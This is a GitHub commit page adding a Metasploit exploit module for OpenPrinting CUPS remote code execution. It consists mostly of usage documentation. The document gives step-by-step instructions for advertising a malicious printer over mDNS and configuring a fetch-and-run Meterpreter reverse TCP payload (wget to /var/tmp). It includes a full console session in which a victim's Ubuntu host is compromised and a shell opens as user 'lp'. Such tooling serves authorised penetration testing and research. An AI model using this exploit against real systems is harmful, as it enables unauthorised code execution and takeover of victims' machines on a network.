Skip to content

Commit

Permalink
Merge pull request #19630 from remmons-r7/cups_ipp_rce
Browse files Browse the repository at this point in the history
Exploit module for IPP attributes remote code execution - OpenPrinting CUPS
  • Loading branch information
smcintyre-r7 authored Nov 22, 2024
2 parents d3b7683 + 74cfde3 commit 502e415
Show file tree
Hide file tree
Showing 4 changed files with 746 additions and 0 deletions.
Original file line number Diff line number Diff line change
@@ -0,0 +1,119 @@
## Vulnerable Application

This module exploits vulnerabilities in OpenPrinting CUPS that allow an attacker on the LAN to advertise a malicious printer that triggers remote code execution when a victim sends a print job to it. For a technical analysis of the vulnerability, read the [original researcher's publication](https://www.evilsocket.net/2024/09/26/Attacking-UNIX-systems-via-CUPS-Part-I/). The vulnerabilities affect the following components and versions:

- cups-browsed <= 2.0.1
- libcupsfilters <= 2.1b1
- libppd <= 2.1b1
- cups-filters <= 2.0.1

Successful exploitation requires user interaction (victim must attempt to print to the malicious printer), but no CUPS services need to be reachable via accessible ports. Code execution occurs in the context of the 'lp' user. NOTE: Many mNDS multicast advertisements will be sprayed by this module to increase the odds of automatically populating the victim's printer list.

## Testing

The module has been tested against Ubuntu 22.04 with an unpatched default CUPS installation. The exploit should work against most Linux distributions that use a vulnerable version of CUPS for printing.

## Verification Steps

1. Start msfconsole
2. `use exploit/multi/misc/cups_ipp_remote_code_execution`
3. `set SRVHOST <YOUR_IP_ADDRESS>` (cannot be 0.0.0.0)
4. `set LHOST <YOUR_IP_ADDRESS>`
5. `set PrinterName <PRINTER_NAME>` (defaults to "PrintToPDF")
6. `exploit`
7. From a victim system on the LAN, open a printer dialog. For example, browse to any web page in Firefox and press Ctrl+P.
8. Select the malicious printer from the printer selection dropdown. When the victim has fetched the FoomaticRIP payload from the malicious IPP server, the "Print" button should become clickable.
9. Click "Print". A new meterpreter session should open.

## Options

**PrinterName**

The name of the malicious printer to advertise on the network. Default: PrintToPDF

**SRVHOST**

The local host address to listen on. This must be set to a specific interface address, not 0.0.0.0, since it's used in mDNS advertisements

**SRVPORT**

The local port for the IPP service. Default: 7575

## Scenarios

### Linux Command

Note: The listener should be left running until a victim interacts with the fake printer. By default, the 'WfsDelay' stager time value is 10800 seconds, or three hours

```
[msf](Jobs:0 Agents:0) exploit(multi/misc/cups_ipp_remote_code_execution) >> show options
Module options (exploit/multi/misc/cups_ipp_remote_code_execution):
Name Current Setting Required Description
---- --------------- -------- -----------
PrinterName PrintToPDF yes The printer name
SRVHOST yes The local host to listen on (cannot be 0.0.0.0)
SRVPORT 7575 yes The local port for the IPP service
SSL true no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit (default is random)
Payload options (cmd/linux/http/x64/meterpreter_reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
FETCH_COMMAND WGET yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET)
FETCH_DELETE false yes Attempt to delete the binary after execution
FETCH_FILENAME JXrkCMgtG no Name to use on remote system when storing payload; cannot contain spaces or slashes
FETCH_SRVHOST no Local IP to use for serving payload
FETCH_SRVPORT 8080 yes Local port to use for serving payload
FETCH_URIPATH no Local URI to use for serving payload
FETCH_WRITABLE_DIR /var/tmp yes Remote writable dir to store payload; cannot contain spaces
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Default
View the full module info with the info, or info -d command.
[msf](Jobs:0 Agents:0) exploit(multi/misc/cups_ipp_remote_code_execution) >> set SRVHOST 192.168.5.2
SRVHOST => 192.168.5.2
[msf](Jobs:0 Agents:0) exploit(multi/misc/cups_ipp_remote_code_execution) >> set LHOST 192.168.5.2
SRVHOST => 192.168.5.2
[msf](Jobs:0 Agents:0) exploit(multi/misc/cups_ipp_remote_code_execution) >> set SRVPORT 9596
SRVPORT => 9596
[msf](Jobs:0 Agents:0) exploit(multi/misc/cups_ipp_remote_code_execution) >> set PrinterName Canon
PrinterName => Canon
[msf](Jobs:0 Agents:0) exploit(multi/misc/cups_ipp_remote_code_execution) >> run
[*] Exploit running as background job 1.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 192.168.5.2:4444
[msf](Jobs:1 Agents:0) exploit(multi/misc/cups_ipp_remote_code_execution) >>
[*] IPP service started on 192.168.5.2:9596
[*] Services started. Printer 'Canon' is being advertised
[*] The exploit will continue listening for victim callbacks for the next 10800 seconds
[*] Meterpreter session 1 opened (192.168.5.2:4444 -> 192.168.5.251:59248) at 2024-11-11 12:55:55 -0600
[msf](Jobs:1 Agents:1) exploit(multi/misc/cups_ipp_remote_code_execution) >> sessions -i 1
[*] Starting interaction with 1...
(Meterpreter 1)(/) > sysinfo
Computer : 192.168.5.251
OS : Ubuntu 22.04 (Linux 6.5.0-18-generic)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
(Meterpreter 1)(/) > getuid
Server username: lp
(Meterpreter 1)(/) >
```
3 changes: 3 additions & 0 deletions lib/rex/proto/dns/server.rb
Original file line number Diff line number Diff line change
Expand Up @@ -9,8 +9,11 @@ module DNS
class Server

class MockDnsClient
extend Forwardable
attr_reader :peerhost, :peerport, :srvsock

def_delegators :@srvsock, :localhost, :localport, :sendto

#
# Create mock DNS client
#
Expand Down
19 changes: 19 additions & 0 deletions lib/rex/proto/mdns/server.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,19 @@
# -*- coding: binary -*-

require 'rex/socket'
module Rex
module Proto
module MDNS
class Server < Rex::Proto::DNS::Server
def initialize(lhost = '0.0.0.0', lport = 5353, start_cache = false, res = nil, comm = nil, _ctx = {}, dblock = nil,
sblock = nil)
super(lhost, lport, true, false, start_cache, res, comm, dblock, sblock)
end

def alias
'mDNS Server'
end
end
end
end
end
Loading

0 comments on commit 502e415

Please sign in to comment.